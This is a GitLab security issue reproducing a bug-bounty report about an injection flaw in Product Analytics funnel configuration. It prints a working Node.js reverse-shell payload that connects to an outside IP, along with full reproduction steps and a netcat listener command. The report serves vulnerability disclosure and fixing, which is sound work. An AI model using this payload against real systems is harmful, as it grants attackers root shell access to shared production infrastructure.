Skip to content

Reverse shell with root access to analytics Cube instance on prod

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2687770 by joaxcar on 2024-08-29, assigned to @ameyadarshan:

Report | Attachments | How To Reproduce

Report

First of all, sorry if I am misinterpreting this. I believe that this is a shared prod instance, but I could be wrong. I put it as critical because of this but feel free to change this if I am wrong!

Summary

When using Product Analytics ((docs)[https://docs.gitlab.com/ee/user/product_analytics/]) there is an option to use a Gitlab hosted solution ((docs)[https://docs.gitlab.com/ee/user/product_analytics/#product-analytics-provider]) that runs in GCP. (the attack works on self hosted instances as well but I belive that the GCP instance from Gitlab is shared)

There is also an option in a project to configure something called a funnel dashboard ((docs)[https://docs.gitlab.com/ee/user/product_analytics/#create-a-funnel-dashboard]) when doing this you specify a config looking like this

seconds_to_convert: 3600  
steps:  
  - name: view_page_1  
    target: '/page1.html'  
    action: 'pageview'  

and its used in a query in the backend that looks like this

 def to_sql  
      <<-SQL  
        SELECT  
          (SELECT max(derived_tstamp) FROM gitlab_project_#{project.id}.snowplow_events) as x,  
          arrayJoin(range(1, #{steps.size + 1})) AS level,  
          sumIf(c, user_level >= level) AS count  
        FROM  
          (SELECT  
             level AS user_level,  
             count(*) AS c  
           FROM (  
               SELECT  
                 user_id,  
                 windowFunnel(#{[@]seconds_to_convert}, 'strict_order')(toDateTime(derived_tstamp),  
                    #{steps.filter_map(&:step_definition).join(', ')}  
                 ) AS level  
               FROM gitlab_project_#{project.id}.snowplow_events  
               WHERE ${FILTER_PARAMS.#{[@]name}.date.filter('derived_tstamp')}  
               GROUP BY user_id  
               )  
           GROUP BY level  
          )  
          GROUP BY level  
	        ORDER BY level ASC  
      SQL  

As you can see #{[@]seconds_to_convert} is used without sanatization. Thus its possible to inject any string here.

This SQL query will be sent as a string to Cube where it will then be used as a query to ClickHouse. Its possible to just do a SQL injection here into the Clickhouse DB. But we can also gain RCE on the Cube instance by adding a seconds_to_convert like this

${(function(){var net = require('net'), cp = require('child_process'),sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(12345, '137.184.138.220', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })()}  

the ${command} syntax will execute in the Node context in Cube as root generating a reverse shell to my server at 137.184.138.220

Steps to reproduce

  1. Create a group with an Ultimate license on gitlab.com (use a trial)
  2. Create a project in the group
  3. Go to https://gitlab.com/GROUPNAME/PROJECTNAME/-/analytics/dashboards and click Set up on the right of Product analytics
  4. Select Use Gitlab managed provider
  5. Let it configure
  6. Creata a file .gitlab/analytics/funnels/test.yaml with this content (replace PORT and IP_ADDR to your catch server
seconds_to_convert: "${(function(){var net = require('net'), cp = require('child_process'),sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(PORT, 'IP_ADDR', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })()}"  
steps:  
  - name: view_page_1  
    target: '/page1.html'  
    action: 'pageview'
  1. Go to https://gitlab.com/GROUPNAME/PROJECTNAME/-/analytics/dashboards/ and create a new dashboard. Select your new funnel as a visualization
  2. Start the catch server at your IP_ADDR like this
nc -l -p 12345  
  1. Now visit the new dashboard
  2. On your catch server you should now be able to run commands

Impact

RCE on analytics Cube instance

Examples

Screenshot_2024-08-29_at_08.22.20.png

Screenshot_2024-08-29_at_08.22.45.png

Output of checks

This bug happens on GitLab.com

Impact

RCE on analytics Cube instance

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: